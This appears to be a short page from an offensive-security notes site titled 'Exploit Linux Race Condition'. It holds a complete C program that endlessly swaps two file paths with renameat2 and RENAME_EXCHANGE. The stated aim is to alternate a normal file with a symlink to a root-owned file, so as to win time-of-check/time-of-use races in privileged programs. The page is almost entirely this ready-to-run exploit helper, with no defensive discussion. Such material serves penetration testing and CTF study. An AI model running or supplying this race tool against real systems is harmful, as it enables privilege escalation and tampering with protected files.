Notes
Search
K
Comment on page

Linux Race

Exploit Linux Race Condition

Linux, swapping file paths between 2 files very quickly (normal file, symlink to root owned file, swap, swap ,swap):
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
Last modified 9mo ago